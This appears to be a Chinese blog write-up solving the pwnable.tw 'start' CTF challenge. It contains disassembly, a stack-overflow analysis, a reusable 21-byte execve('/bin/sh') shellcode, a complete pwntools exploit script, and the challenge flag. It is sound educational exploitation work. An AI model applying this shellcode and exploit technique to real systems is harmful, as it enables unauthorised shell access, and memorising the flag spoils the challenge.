pwnable.tw-start

二进制是一个不断学习的过程,以下记录我在pwnable.tw网站刷题的一些心得


题目分析

首先分析文件。
000
由此可见,32位文件,静态链接,没有保护措施,存在栈溢出。

然后放入IDA中查看。
001
002
F5大法没有太多可用信息。能看出有一个sys_write
直接看汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
.text:08048060                 public _start
.text:08048060 _start proc near
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push ':FTC'
.text:08048073 push ' eht'
.text:08048078 push ' tra'
.text:0804807D push 'ts s'
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed
.text:0804809C
.text:0804809D
.text:0804809D ; =============== S U B R O U T I N E =======================================
.text:0804809D
.text:0804809D ; Attributes: noreturn
.text:0804809D
.text:0804809D ; void exit(int status)
.text:0804809D _exit proc near ; DATA XREF: _start+1o
.text:0804809D pop esp
.text:0804809E xor eax, eax
.text:080480A0 inc eax
.text:080480A1 int 80h ; LINUX - sys_exit
.text:080480A1 _exit endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text ends
.text:080480A1
.text:080480A1
.text:080480A1 end _start
  • push esp:保存栈地址
  • push offset_exit:保存返回地址
  • 4个XOR 清空寄存器
  • 从栈地址上取长度位0x14个字符输出。
  • 清空ebx
  • read读(最多0x3C)
  • 把esp提高0x14
  • 返回。

整体逻辑就是这样子。
那么也不难想到利用点。
栈溢出就要考虑返回地址。


思路

利用两次,第一次的返回地址填写
.text:08048087 mov ecx, esp ; addr
write函数泄露出栈地址。

第二次栈溢出覆盖地址为栈地址,在后面拼接shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/*

Tiny Execve sh Shellcode - C Language - Linux/x86
Copyright (C) 2013 Geyslan G. Bem, Hacking bits

http://hackingbits.com
geyslan@gmail.com

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>

*/

/*

tiny_execve_sh_shellcode

* 21 bytes
* null-free


# gcc -m32 -fno-stack-protector -z execstack tiny_execve_sh_shellcode.c -o tiny_execve_sh_shellcode

Testing
# ./tiny_execve_sh_shellcode

*/


#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \

"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
"\x80";


main ()
{

// When contains null bytes, printf will show a wrong shellcode length.

printf("Shellcode Length: %d\n", strlen(shellcode));

// Pollutes all registers ensuring that the shellcode runs in any circumstance.

__asm__ ("movl $0xffffffff, %eax\n\t"
"movl %eax, %ebx\n\t"
"movl %eax, %ecx\n\t"
"movl %eax, %edx\n\t"
"movl %eax, %esi\n\t"
"movl %eax, %edi\n\t"
"movl %eax, %ebp\n\t"

// Calling the shellcode
"call shellcode");

}

找到一个21bytes的shellcode


Exploit

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!usr/bin/env python
from pwn import *

debug = 0

if debug:
io = process('./start')
else:
io = remote('chall.pwnable.tw', 10000)

shellcode = ""
shellcode += "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
shellcode += "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
shellcode += "\x80";


payload = 'A' * 20 + p32(0x08048087)
io.recvuntil('CTF:')
io.send(payload)
leak_addr = u32(io.recv(4)) + 20
payload = 'A' *20 + p32(leak_addr) + shellcode
io.send(payload)
io.interactive()

Getshell

1
2
3
python exp.py
cat /home/start/flag
FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}

后记

之前的Pwn的时候一直感觉有些困难,还是多刷题多积累。